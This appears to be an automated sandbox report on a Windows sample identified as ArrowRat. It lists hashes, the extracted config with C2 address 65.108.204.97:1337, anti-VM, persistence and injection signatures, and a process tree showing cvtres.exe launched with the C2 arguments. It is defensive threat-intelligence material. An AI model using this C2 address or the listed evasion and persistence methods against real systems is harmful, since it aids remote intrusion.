Overview

overview

10

Static

static

7

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    203s
  • max time network
    207s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 18:32

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General

  • Target

    b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe

  • Size

    8.1MB

  • MD5

    e08805d6085d6402dcaeb253e4375a09

  • SHA1

    2c79a1203c135aa1a7d5fbed566c94983278b40c

  • SHA256

    b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e

  • SHA512

    517d723f46c11a10eb303d655ffca77b1bc3f863450208e659cfea70276f15a7d921d52c04597d035faebb7278e66ff55bbb45b451568f11bc176650bd149db9

  • SSDEEP

    98304:iFBz9bmxmtOfP7TI/OKIdSOwSmGrjvvLYq5dkcDNckgHDJHZt:qBzQxmtOfzsWKgwS1jvvH5uFHn

Score
10/10
arrowratclientevasionpersistenceratthemidatrojan

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

65.108.204.97:1337

Mutex

PreIzXewwN

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe
    "C:\Users\Admin\AppData\Local\Temp\b559413c43d76b67e8b068c842a0a615b04d6d687be860e18da1adc43dfe5b5e.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Modifies Installed Components in the registry
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4220
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 65.108.204.97 1337 PreIzXewwN
        3⤵
          PID:3732
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 65.108.204.97 1337 PreIzXewwN
          3⤵
            PID:4456
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4752
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3820

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2480-144-0x00007FF896670000-0x00007FF897131000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/2480-143-0x00007FF8B5690000-0x00007FF8B5885000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2480-132-0x0000000000330000-0x0000000000B50000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/2480-135-0x0000000000330000-0x0000000000B50000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/2480-136-0x00007FF896670000-0x00007FF897131000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/2480-137-0x0000000000330000-0x0000000000B50000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/2480-138-0x00007FF8B5690000-0x00007FF8B5885000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2480-139-0x00007FF896670000-0x00007FF897131000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/2480-133-0x00007FF8B5690000-0x00007FF8B5885000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/2480-134-0x0000000000330000-0x0000000000B50000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/2480-142-0x0000000000330000-0x0000000000B50000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/2900-151-0x0000000005560000-0x00000000055F2000-memory.dmp

        Filesize

        584KB

        Download

      • memory/2900-145-0x0000000005820000-0x0000000005DC4000-memory.dmp

        Filesize

        5.6MB

        Download

      • memory/2900-140-0x0000000000400000-0x000000000042C000-memory.dmp

        Filesize

        176KB

        Download

      • memory/2900-152-0x0000000005550000-0x000000000555A000-memory.dmp

        Filesize

        40KB

        Download

      • memory/2900-146-0x0000000005320000-0x00000000053BC000-memory.dmp

        Filesize

        624KB

        Download

      • memory/3820-164-0x0000022A2CAC8000-0x0000022A2CAD0000-memory.dmp

        Filesize

        32KB

        Download

      • memory/3820-178-0x0000022A30300000-0x0000022A30320000-memory.dmp

        Filesize

        128KB

        Download

      • memory/3820-171-0x0000022A30000000-0x0000022A30020000-memory.dmp

        Filesize

        128KB

        Download

      • memory/3820-168-0x0000022A40380000-0x0000022A40480000-memory.dmp

        Filesize

        1024KB

        Download

      • memory/4456-163-0x0000000005EF0000-0x0000000005F40000-memory.dmp

        Filesize

        320KB

        Download

      • memory/4456-150-0x0000000000400000-0x0000000000418000-memory.dmp

        Filesize

        96KB

        Download

      • memory/4456-162-0x0000000005630000-0x0000000005696000-memory.dmp

        Filesize

        408KB

        Download